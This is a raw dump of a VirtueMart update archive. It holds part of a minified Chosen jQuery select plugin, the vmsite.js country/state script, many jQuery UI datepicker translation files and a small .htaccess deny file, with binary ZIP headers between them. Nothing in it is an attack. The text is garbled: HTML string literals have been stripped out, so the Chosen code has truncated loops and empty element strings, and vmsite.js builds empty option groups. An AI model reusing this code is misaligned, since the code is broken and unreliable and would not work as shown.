i.search_results_mouseover(j)});this.search_results.mouseout(function(j){return i.search_results_mouseout(j)});this.form_field_jq.bind("liszt:updated",function(j){return i.results_update_field(j)});this.search_field.blur(function(j){return i.input_blur(j)});this.search_field.keyup(function(j){return i.keyup_checker(j)});this.search_field.keydown(function(j){return i.keydown_checker(j)});if(this.is_multiple){this.search_choices.click(function(j){return i.choices_click(j)});return this.search_field.focus(function(j){return i.input_focus(j)})}else{return this.container.click(function(j){return j.preventDefault()})}};h.prototype.search_field_disabled=function(){this.is_disabled=this.form_field_jq[0].disabled;if(this.is_disabled){this.container.addClass("chzn-disabled");this.search_field[0].disabled=true;if(!this.is_multiple){this.selected_item.unbind("focus",this.activate_action)}return this.close_field()}else{this.container.removeClass("chzn-disabled");this.search_field[0].disabled=false;if(!this.is_multiple){return this.selected_item.bind("focus",this.activate_action)}}};h.prototype.container_mousedown=function(i){var j;if(!this.is_disabled){j=i!=null?(e(i.target)).hasClass("search-choice-close"):false;if(i&&i.type==="mousedown"){i.stopPropagation()}if(!this.pending_destroy_click&&!j){if(!this.active_field){if(this.is_multiple){this.search_field.val("")}e(document).click(this.click_test_action);this.results_show()}else{if(!this.is_multiple&&i&&((e(i.target)[0]===this.selected_item[0])||e(i.target).parents("a.chzn-single").length)){i.preventDefault();this.results_toggle()}}return this.activate_field()}else{return this.pending_destroy_click=false}}};h.prototype.container_mouseup=function(i){if(i.target.nodeName==="ABBR"){return this.results_reset(i)}};h.prototype.blur_test=function(i){if(!this.active_field&&this.container.hasClass("chzn-container-active")){return this.close_field()}};h.prototype.close_field=function(){e(document).unbind("click",this.click_test_action);if(!this.is_multiple){this.selected_item.attr("tabindex",this.search_field.attr("tabindex"));this.search_field.attr("tabindex",-1)}this.active_field=false;this.results_hide();this.container.removeClass("chzn-container-active");this.winnow_results_clear();this.clear_backstroke();this.show_search_field_default();return this.search_field_scale()};h.prototype.activate_field=function(){if(!this.is_multiple&&!this.active_field){this.search_field.attr("tabindex",this.selected_item.attr("tabindex"));this.selected_item.attr("tabindex",-1)}this.container.addClass("chzn-container-active");this.active_field=true;this.search_field.val(this.search_field.val());return this.search_field.focus()};h.prototype.test_active_click=function(i){if(e(i.target).parents("#"+this.container_id).length){return this.active_field=true}else{return this.close_field()}};h.prototype.results_build=function(){var j,m,l,i,k;this.parsing=true;this.results_data=a.SelectParser.select_to_array(this.form_field);if(this.is_multiple&&this.choices>0){this.search_choices.find("li.search-choice").remove();this.choices=0}else{if(!this.is_multiple){this.selected_item.find("span").text(this.default_text);if(this.form_field.options.length<=this.disable_search_threshold){this.container.addClass("chzn-container-single-nosearch")}else{this.container.removeClass("chzn-container-single-nosearch")}}}j="";k=this.results_data;for(l=0,i=k.length;l'+e("
          ").text(i.label).html()+""}else{return""}};h.prototype.result_do_highlight=function(j){var n,m,k,l,i;if(j.length){this.result_clear_highlight();this.result_highlight=j;this.result_highlight.addClass("highlighted");k=parseInt(this.search_results.css("maxHeight"),10);i=this.search_results.scrollTop();l=k+i;m=this.result_highlight.position().top+this.search_results.scrollTop();n=m+this.result_highlight.outerHeight();if(n>=l){return this.search_results.scrollTop((n-k)>0?n-k:0)}else{if(m",{"class":"chzn-select-all"}).html(this.Select_all_text_default);this.dropdown.append(i);this.select_all_link=this.dropdown.find(".chzn-select-all").first();return this.select_all_link.click(function(k){return j.select_all_options(k)})};h.prototype.select_all_options=function(j){var l,k,m,i;j.preventDefault();k=this.form_field_jq.find("option");for(m=0,i=k.length;m'+k.html+'');j=e("#"+i).find("a").first();return j.click(function(m){return l.choice_destroy_link_click(m)})};h.prototype.choice_destroy_link_click=function(i){i.preventDefault();if(!this.is_disabled){this.pending_destroy_click=true;return this.choice_destroy(e(i.target))}else{return i.stopPropagation}};h.prototype.choice_destroy=function(i){this.choices-=1;this.show_search_field_default();if(this.is_multiple&&this.choices>0&&this.search_field.val().length<1){this.results_hide()}this.result_deselect(i.attr("rel"));return i.parents("li").first().remove()};h.prototype.results_reset=function(i){this.form_field.options[0].selected=true;this.selected_item.find("span").text(this.default_text);this.show_search_field_default();e(i.target).remove();this.form_field_jq.trigger("change");if(this.active_field){return this.results_hide()}};h.prototype.result_select=function(j){var m,l,k,i;if(this.result_highlight){m=this.result_highlight;l=m.attr("id");this.result_clear_highlight();if(this.is_multiple){this.result_deactivate(m)}else{this.search_results.find(".result-selected").removeClass("result-selected");this.result_single_selected=m}m.addClass("result-selected");i=l.substr(l.lastIndexOf("_")+1);k=this.results_data[i];k.selected=true;this.form_field.options[k.options_index].selected=true;if(this.is_multiple){this.choice_build(k)}else{this.selected_item.find("span").first().text(k.text);if(this.allow_single_deselect){this.single_deselect_control_build()}}if(!(j.metaKey&&this.is_multiple)){this.results_hide()}this.search_field.val("");this.form_field_jq.trigger("change");return this.search_field_scale()}};h.prototype.result_activate=function(i){return i.addClass("active-result")};h.prototype.result_deactivate=function(i){return i.removeClass("active-result")};h.prototype.result_deselect=function(k){var i,j;j=this.results_data[k];j.selected=false;this.form_field.options[j.options_index].selected=false;i=e("#"+this.container_id+"_o_"+k);i.removeClass("result-selected").addClass("active-result").show();this.result_clear_highlight();this.winnow_results();this.form_field_jq.trigger("change");return this.search_field_scale()};h.prototype.single_deselect_control_build=function(){if(this.allow_single_deselect&&this.selected_item.find("abbr").length<1){return this.selected_item.find("span").first().after('')}};h.prototype.winnow_results=function(){var x,q,k,n,u,y,s,p,w,r,v,j,m,l,t,i,o;this.no_results_clear();p=0;w=this.search_field.val()===this.default_text?"":e("
          ").text(e.trim(this.search_field.val())).html();u=new RegExp("^"+w.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&"),"i");j=new RegExp(w.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&"),"i");o=this.results_data;for(m=0,t=o.length;m=0||q.html.indexOf("[")===0){n=q.html.replace(/\[|\]/g,"").split(" ");if(n.length){for(l=0,i=n.length;l"+q.html.substr(r+w.length);v=v.substr(0,r)+""+v.substr(r)}else{v=q.html}y.html(v);this.result_activate(y);if(q.group_array_index!=null){e("#"+this.results_data[q.group_array_index].dom_id).css("display","list-item")}}else{if(this.result_highlight&&s===this.result_highlight.attr("id")){this.result_clear_highlight()}this.result_deactivate(y)}}}}}if(p<1&&w.length){return this.no_results(w)}else{return this.winnow_results_set_highlight()}};h.prototype.winnow_results_clear=function(){var i,l,m,k,j;this.search_field.val("");l=this.search_results.find("li");j=[];for(m=0,k=l.length;m'+this.results_none_found+' ""');j.find("span").first().html(i);return this.search_results.append(j)};h.prototype.no_results_clear=function(){return this.search_results.find(".no-results").remove()};h.prototype.keydown_arrow=function(){var j,i;if(!this.result_highlight){j=this.search_results.find("li.active-result").first();if(j){this.result_do_highlight(e(j))}}else{if(this.results_showing){i=this.result_highlight.nextAll("li.active-result").first();if(i){this.result_do_highlight(i)}}}if(!this.results_showing){return this.results_show()}};h.prototype.keyup_arrow=function(){var i;if(!this.results_showing&&!this.is_multiple){return this.results_show()}else{if(this.result_highlight){i=this.result_highlight.prevAll("li.active-result");if(i.length){return this.result_do_highlight(i.first())}else{if(this.choices>0){this.results_hide()}return this.result_clear_highlight()}}}};h.prototype.keydown_backstroke=function(){if(this.pending_backstroke){this.choice_destroy(this.pending_backstroke.find("a").first());return this.clear_backstroke()}else{this.pending_backstroke=this.search_container.siblings("li.search-choice").last();return this.pending_backstroke.addClass("search-choice-focus")}};h.prototype.clear_backstroke=function(){if(this.pending_backstroke){this.pending_backstroke.removeClass("search-choice-focus")}return this.pending_backstroke=null};h.prototype.keydown_checker=function(i){var k,j;k=(j=i.which)!=null?j:i.keyCode;this.search_field_scale();if(k!==8&&this.pending_backstroke){this.clear_backstroke()}switch(k){case 8:this.backstroke_length=this.search_field.val().length;break;case 9:if(this.results_showing&&!this.is_multiple){this.result_select(i)}this.mouse_on_container=false;break;case 13:i.preventDefault();break;case 38:i.preventDefault();this.keyup_arrow();break;case 40:this.keydown_arrow();break}};h.prototype.search_field_scale=function(){var q,i,l,j,o,p,n,k,m;if(this.is_multiple){l=0;n=0;o="position:absolute; left: -1000px; top: -1000px; display:none;";p=["font-size","font-style","font-weight","font-family","line-height","text-transform","letter-spacing"];for(k=0,m=p.length;k",{style:o});i.text(this.search_field.val());e("body").append(i);n=i.width()+25;i.remove();if(n>this.f_width-10){n=this.f_width-10}this.search_field.css({width:n+"px"});q=this.container.height();return this.dropdown.css({top:q+"px"})}};h.prototype.generate_random_id=function(){var i;i="sel"+this.generate_random_char()+this.generate_random_char()+this.generate_random_char();while(e("#"+i).length>0){i+=this.generate_random_char()}return i};return h})(AbstractChosen);d=function(g){var h;return h=g.outerWidth()-g.width()};a.get_side_border_padding=d}).call(this);PKtl>\^ZZX Ccom_virtuemart_update/components/com_virtuemart/assets/js/vmsite.jsnuW+A/** * list country.js: General Javascript Library for VirtueMart Administration * * * @package VirtueMart * @subpackage Javascript Library * @author Patrick Kohl * @copyright Copyright (c) 2011VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL */ (function($){ var undefined, methods = { list: function(options) { var dest = options.dest; var ids = options.ids; var prefix = options.prefiks; methods.update(this,dest,ids,prefix); $(this).change( function() { methods.update(this,dest,ids,prefix)}); }, update: function(org,dest,ids,prefix) { var opt = $(org), optValues = opt.val() || [], byAjax = [] ; if (!$.isArray(optValues)) optValues = jQuery.makeArray(optValues); if ( typeof oldValues !== "undefined") { //remove if not in optValues $.each(oldValues, function(key, oldValue) { if ( ($.inArray( oldValue, optValues )) < 0 ) $("#"+prefix+"group"+oldValue).remove(); }); } //push in 'byAjax' values and do it in ajax $.each(optValues, function(optkey, optValue) { if( opt.data( 'd'+optValue) === undefined ) byAjax.push( optValue ); }); if (byAjax.length >0) { $.getJSON('index.php?option=com_virtuemart&view=state&format=json&virtuemart_country_id=' + byAjax, function(result){ // Max Bitte Testen var virtuemart_state_id = $('#'+prefix+'virtuemart_state_id'); var status = virtuemart_state_id.attr('required'); if(status == 'required') { if( result[byAjax].length > 0 ) { virtuemart_state_id.attr('required','required'); } else { virtuemart_state_id.removeAttr('required'); } } // ENDE $.each(result, function(key, value) { if (value.length >0) { opt.data( 'd'+key, value ); } else { opt.data( 'd'+key, 0 ); } }); methods.addToList(opt,optValues,dest,prefix); if ( typeof ids !== "undefined") { var states = ids.length ? ids.split(',') : [] ; $.each(states, function(k,id) { $(dest).find('[value='+id+']').attr("selected","selected"); }); } $(dest).trigger("liszt:updated"); } ); } else { methods.addToList(opt,optValues,dest,prefix) $(dest).trigger("liszt:updated"); } oldValues = optValues ; }, addToList: function(opt,values,dest,prefix) { $.each(values, function(dataKey, dataValue) { var groupExist = $("#"+prefix+"group"+dataValue+"").size(); if ( ! groupExist ) { var datas = opt.data( 'd'+dataValue ); if (datas.length >0) { var label = opt.find("option[value='"+dataValue+"']").text(); var group =''; $.each( datas , function( key, value) { if (value) group +=''; }); group += ''; $(dest).append(group); } } }); } }; $.fn.vm2front = function( method ) { if ( methods[method] ) { return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 )); } else if ( typeof method === 'object' || ! method ) { return methods.init.apply( this, arguments ); } else { $.error( 'Method ' + method + ' does not exist on Vm2 front jQuery library' ); } }; })(jQuery) PKtl>\7<\com_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-pt-BR.jsnuW+A/* Brazilian initialisation for the jQuery UI date picker plugin. */ /* Written by Leonildo Costa Silva (leocsilva@gmail.com). */ jQuery(function($){ $.datepicker.regional['pt-BR'] = { closeText: 'Fechar', prevText: '<Anterior', nextText: 'Próximo>', currentText: 'Hoje', monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho', 'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], dayNamesMin: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pt-BR']); });PKtl>\u"Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-fa.jsnuW+A/* Persian (Farsi) Translation for the jQuery UI date picker plugin. */ /* Javad Mowlanezhad -- jmowla@gmail.com */ /* Jalali calendar should supported soon! (Its implemented but I have to test it) */ jQuery(function($) { $.datepicker.regional['fa'] = { closeText: 'بستن', prevText: '<قبلي', nextText: 'بعدي>', currentText: 'امروز', monthNames: ['فروردين','ارديبهشت','خرداد','تير','مرداد','شهريور', 'مهر','آبان','آذر','دي','بهمن','اسفند'], monthNamesShort: ['1','2','3','4','5','6','7','8','9','10','11','12'], dayNames: ['يکشنبه','دوشنبه','سه‌شنبه','چهارشنبه','پنجشنبه','جمعه','شنبه'], dayNamesShort: ['ي','د','س','چ','پ','ج', 'ش'], dayNamesMin: ['ي','د','س','چ','پ','ج', 'ش'], weekHeader: 'هف', dateFormat: 'yy/mm/dd', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fa']); });PKtl>\Q0Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sv.jsnuW+A/* Swedish initialisation for the jQuery UI date picker plugin. */ /* Written by Anders Ekdahl ( anders@nomadiz.se). */ jQuery(function($){ $.datepicker.regional['sv'] = { closeText: 'Stäng', prevText: '«Förra', nextText: 'Nästa»', currentText: 'Idag', monthNames: ['Januari','Februari','Mars','April','Maj','Juni', 'Juli','Augusti','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNamesShort: ['Sön','Mån','Tis','Ons','Tor','Fre','Lör'], dayNames: ['Söndag','Måndag','Tisdag','Onsdag','Torsdag','Fredag','Lördag'], dayNamesMin: ['Sö','Må','Ti','On','To','Fr','Lö'], weekHeader: 'Ve', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sv']); }); PKtl>\QϷ\com_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ar-DZ.jsnuW+A/* Algerian Arabic Translation for jQuery UI date picker plugin. (can be used for Tunisia)*/ /* Mohamed Cherif BOUCHELAGHEM -- cherifbouchelaghem@yahoo.fr */ jQuery(function($){ $.datepicker.regional['ar-DZ'] = { closeText: 'إغلاق', prevText: '<السابق', nextText: 'التالي>', currentText: 'اليوم', monthNames: ['جانفي', 'فيفري', 'مارس', 'أفريل', 'ماي', 'جوان', 'جويلية', 'أوت', 'سبتمبر','أكتوبر', 'نوفمبر', 'ديسمبر'], monthNamesShort: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'], dayNames: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesShort: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesMin: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], weekHeader: 'أسبوع', dateFormat: 'dd/mm/yy', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ar-DZ']); }); PKtl>\]HYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ta.jsnuW+A/* Tamil (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by S A Sureshkumar (saskumar@live.com). */ jQuery(function($){ $.datepicker.regional['ta'] = { closeText: 'மூடு', prevText: 'முன்னையது', nextText: 'அடுத்தது', currentText: 'இன்று', monthNames: ['தை','மாசி','பங்குனி','சித்திரை','வைகாசி','ஆனி', 'ஆடி','ஆவணி','புரட்டாசி','ஐப்பசி','கார்த்திகை','மார்கழி'], monthNamesShort: ['தை','மாசி','பங்','சித்','வைகா','ஆனி', 'ஆடி','ஆவ','புர','ஐப்','கார்','மார்'], dayNames: ['ஞாயிற்றுக்கிழமை','திங்கட்கிழமை','செவ்வாய்க்கிழமை','புதன்கிழமை','வியாழக்கிழமை','வெள்ளிக்கிழமை','சனிக்கிழமை'], dayNamesShort: ['ஞாயிறு','திங்கள்','செவ்வாய்','புதன்','வியாழன்','வெள்ளி','சனி'], dayNamesMin: ['ஞா','தி','செ','பு','வி','வெ','ச'], weekHeader: 'Не', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ta']); }); PKtl>\]]Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-is.jsnuW+A/* Icelandic initialisation for the jQuery UI date picker plugin. */ /* Written by Haukur H. Thorsson (haukur@eskill.is). */ jQuery(function($){ $.datepicker.regional['is'] = { closeText: 'Loka', prevText: '< Fyrri', nextText: 'Næsti >', currentText: 'Í dag', monthNames: ['Janúar','Febrúar','Mars','Apríl','Maí','Júní', 'Júlí','Ágúst','September','Október','Nóvember','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maí','Jún', 'Júl','Ágú','Sep','Okt','Nóv','Des'], dayNames: ['Sunnudagur','Mánudagur','Þriðjudagur','Miðvikudagur','Fimmtudagur','Föstudagur','Laugardagur'], dayNamesShort: ['Sun','Mán','Þri','Mið','Fim','Fös','Lau'], dayNamesMin: ['Su','Má','Þr','Mi','Fi','Fö','La'], weekHeader: 'Vika', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['is']); });PKtl>\x)Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-hu.jsnuW+A/* Hungarian initialisation for the jQuery UI date picker plugin. */ /* Written by Istvan Karaszi (jquery@spam.raszi.hu). */ jQuery(function($){ $.datepicker.regional['hu'] = { closeText: 'bezárás', prevText: '« vissza', nextText: 'előre »', currentText: 'ma', monthNames: ['Január', 'Február', 'Március', 'Április', 'Május', 'Június', 'Július', 'Augusztus', 'Szeptember', 'Október', 'November', 'December'], monthNamesShort: ['Jan', 'Feb', 'Már', 'Ápr', 'Máj', 'Jún', 'Júl', 'Aug', 'Szep', 'Okt', 'Nov', 'Dec'], dayNames: ['Vasárnap', 'Hétfö', 'Kedd', 'Szerda', 'Csütörtök', 'Péntek', 'Szombat'], dayNamesShort: ['Vas', 'Hét', 'Ked', 'Sze', 'Csü', 'Pén', 'Szo'], dayNamesMin: ['V', 'H', 'K', 'Sze', 'Cs', 'P', 'Szo'], weekHeader: 'Hé', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hu']); }); PKtl>\TYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ml.jsnuW+A/* Malayalam (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Saji Nediyanchath (saji89@gmail.com). */ jQuery(function($){ $.datepicker.regional['ml'] = { closeText: 'ശരി', prevText: 'മുന്നത്തെ', nextText: 'അടുത്തത് ', currentText: 'ഇന്ന്', monthNames: ['ജനുവരി','ഫെബ്രുവരി','മാര്‍ച്ച്','ഏപ്രില്‍','മേയ്','ജൂണ്‍', 'ജൂലൈ','ആഗസ്റ്റ്','സെപ്റ്റംബര്‍','ഒക്ടോബര്‍','നവംബര്‍','ഡിസംബര്‍'], monthNamesShort: ['ജനു', 'ഫെബ്', 'മാര്‍', 'ഏപ്രി', 'മേയ്', 'ജൂണ്‍', 'ജൂലാ', 'ആഗ', 'സെപ്', 'ഒക്ടോ', 'നവം', 'ഡിസ'], dayNames: ['ഞായര്‍', 'തിങ്കള്‍', 'ചൊവ്വ', 'ബുധന്‍', 'വ്യാഴം', 'വെള്ളി', 'ശനി'], dayNamesShort: ['ഞായ', 'തിങ്ക', 'ചൊവ്വ', 'ബുധ', 'വ്യാഴം', 'വെള്ളി', 'ശനി'], dayNamesMin: ['ഞാ','തി','ചൊ','ബു','വ്യാ','വെ','ശ'], weekHeader: 'ആ', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ml']); }); PKtl>\Icom_virtuemart_update/components/com_virtuemart/assets/js/i18n/index.htmlnuW+APKtl>\^Χ\com_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-en-NZ.jsnuW+A/* English/New Zealand initialisation for the jQuery UI date picker plugin. */ /* Based on the en-GB initialisation. */ jQuery(function($){ $.datepicker.regional['en-NZ'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-NZ']); }); PKtl>\ {ՐqqYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-id.jsnuW+A/* Indonesian initialisation for the jQuery UI date picker plugin. */ /* Written by Deden Fathurahman (dedenf@gmail.com). */ jQuery(function($){ $.datepicker.regional['id'] = { closeText: 'Tutup', prevText: '<mundur', nextText: 'maju>', currentText: 'hari ini', monthNames: ['Januari','Februari','Maret','April','Mei','Juni', 'Juli','Agustus','September','Oktober','Nopember','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mei','Jun', 'Jul','Agus','Sep','Okt','Nop','Des'], dayNames: ['Minggu','Senin','Selasa','Rabu','Kamis','Jumat','Sabtu'], dayNamesShort: ['Min','Sen','Sel','Rab','kam','Jum','Sab'], dayNamesMin: ['Mg','Sn','Sl','Rb','Km','jm','Sb'], weekHeader: 'Mg', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['id']); });PKtl>\9yyYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-eo.jsnuW+A/* Esperanto initialisation for the jQuery UI date picker plugin. */ /* Written by Olivier M. (olivierweb@ifrance.com). */ jQuery(function($){ $.datepicker.regional['eo'] = { closeText: 'Fermi', prevText: '<Anta', nextText: 'Sekv>', currentText: 'Nuna', monthNames: ['Januaro','Februaro','Marto','Aprilo','Majo','Junio', 'Julio','Aŭgusto','Septembro','Oktobro','Novembro','Decembro'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aŭg','Sep','Okt','Nov','Dec'], dayNames: ['Dimanĉo','Lundo','Mardo','Merkredo','Ĵaŭdo','Vendredo','Sabato'], dayNamesShort: ['Dim','Lun','Mar','Mer','Ĵaŭ','Ven','Sab'], dayNamesMin: ['Di','Lu','Ma','Me','Ĵa','Ve','Sa'], weekHeader: 'Sb', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['eo']); }); PKtl>\/FFYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-vi.jsnuW+A/* Vietnamese initialisation for the jQuery UI date picker plugin. */ /* Translated by Le Thanh Huy (lthanhhuy@cit.ctu.edu.vn). */ jQuery(function($){ $.datepicker.regional['vi'] = { closeText: 'Đóng', prevText: '<Trước', nextText: 'Tiếp>', currentText: 'Hôm nay', monthNames: ['Tháng Một', 'Tháng Hai', 'Tháng Ba', 'Tháng Tư', 'Tháng Năm', 'Tháng Sáu', 'Tháng Bảy', 'Tháng Tám', 'Tháng Chín', 'Tháng Mười', 'Tháng Mười Một', 'Tháng Mười Hai'], monthNamesShort: ['Tháng 1', 'Tháng 2', 'Tháng 3', 'Tháng 4', 'Tháng 5', 'Tháng 6', 'Tháng 7', 'Tháng 8', 'Tháng 9', 'Tháng 10', 'Tháng 11', 'Tháng 12'], dayNames: ['Chủ Nhật', 'Thứ Hai', 'Thứ Ba', 'Thứ Tư', 'Thứ Năm', 'Thứ Sáu', 'Thứ Bảy'], dayNamesShort: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], dayNamesMin: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], weekHeader: 'Tu', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['vi']); }); PKtl>\x{Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ko.jsnuW+A/* Korean initialisation for the jQuery calendar extension. */ /* Written by DaeKwon Kang (ncrash.dk@gmail.com). */ jQuery(function($){ $.datepicker.regional['ko'] = { closeText: '닫기', prevText: '이전달', nextText: '다음달', currentText: '오늘', monthNames: ['1월(JAN)','2월(FEB)','3월(MAR)','4월(APR)','5월(MAY)','6월(JUN)', '7월(JUL)','8월(AUG)','9월(SEP)','10월(OCT)','11월(NOV)','12월(DEC)'], monthNamesShort: ['1월(JAN)','2월(FEB)','3월(MAR)','4월(APR)','5월(MAY)','6월(JUN)', '7월(JUL)','8월(AUG)','9월(SEP)','10월(OCT)','11월(NOV)','12월(DEC)'], dayNames: ['일','월','화','수','목','금','토'], dayNamesShort: ['일','월','화','수','목','금','토'], dayNamesMin: ['일','월','화','수','목','금','토'], weekHeader: 'Wk', dateFormat: 'yy-mm-dd', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: '년'}; $.datepicker.setDefaults($.datepicker.regional['ko']); });PKtl>\uUYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-af.jsnuW+A/* Afrikaans initialisation for the jQuery UI date picker plugin. */ /* Written by Renier Pretorius. */ jQuery(function($){ $.datepicker.regional['af'] = { closeText: 'Selekteer', prevText: 'Vorige', nextText: 'Volgende', currentText: 'Vandag', monthNames: ['Januarie','Februarie','Maart','April','Mei','Junie', 'Julie','Augustus','September','Oktober','November','Desember'], monthNamesShort: ['Jan', 'Feb', 'Mrt', 'Apr', 'Mei', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Des'], dayNames: ['Sondag', 'Maandag', 'Dinsdag', 'Woensdag', 'Donderdag', 'Vrydag', 'Saterdag'], dayNamesShort: ['Son', 'Maa', 'Din', 'Woe', 'Don', 'Vry', 'Sat'], dayNamesMin: ['So','Ma','Di','Wo','Do','Vr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['af']); }); PKtl>\)Hcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/.htaccessnuW+A Order allow,deny Deny from all PKtl>\rY wwYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sq.jsnuW+A/* Albanian initialisation for the jQuery UI date picker plugin. */ /* Written by Flakron Bytyqi (flakron@gmail.com). */ jQuery(function($){ $.datepicker.regional['sq'] = { closeText: 'mbylle', prevText: '<mbrapa', nextText: 'Përpara>', currentText: 'sot', monthNames: ['Janar','Shkurt','Mars','Prill','Maj','Qershor', 'Korrik','Gusht','Shtator','Tetor','Nëntor','Dhjetor'], monthNamesShort: ['Jan','Shk','Mar','Pri','Maj','Qer', 'Kor','Gus','Sht','Tet','Nën','Dhj'], dayNames: ['E Diel','E Hënë','E Martë','E Mërkurë','E Enjte','E Premte','E Shtune'], dayNamesShort: ['Di','Hë','Ma','Më','En','Pr','Sh'], dayNamesMin: ['Di','Hë','Ma','Më','En','Pr','Sh'], weekHeader: 'Ja', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sq']); }); PKtl>\ɘPcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery-ui-i18n.jsnuW+A/* Afrikaans initialisation for the jQuery UI date picker plugin. */ /* Written by Renier Pretorius. */ jQuery(function($){ $.datepicker.regional['af'] = { closeText: 'Selekteer', prevText: 'Vorige', nextText: 'Volgende', currentText: 'Vandag', monthNames: ['Januarie','Februarie','Maart','April','Mei','Junie', 'Julie','Augustus','September','Oktober','November','Desember'], monthNamesShort: ['Jan', 'Feb', 'Mrt', 'Apr', 'Mei', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Des'], dayNames: ['Sondag', 'Maandag', 'Dinsdag', 'Woensdag', 'Donderdag', 'Vrydag', 'Saterdag'], dayNamesShort: ['Son', 'Maa', 'Din', 'Woe', 'Don', 'Vry', 'Sat'], dayNamesMin: ['So','Ma','Di','Wo','Do','Vr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, 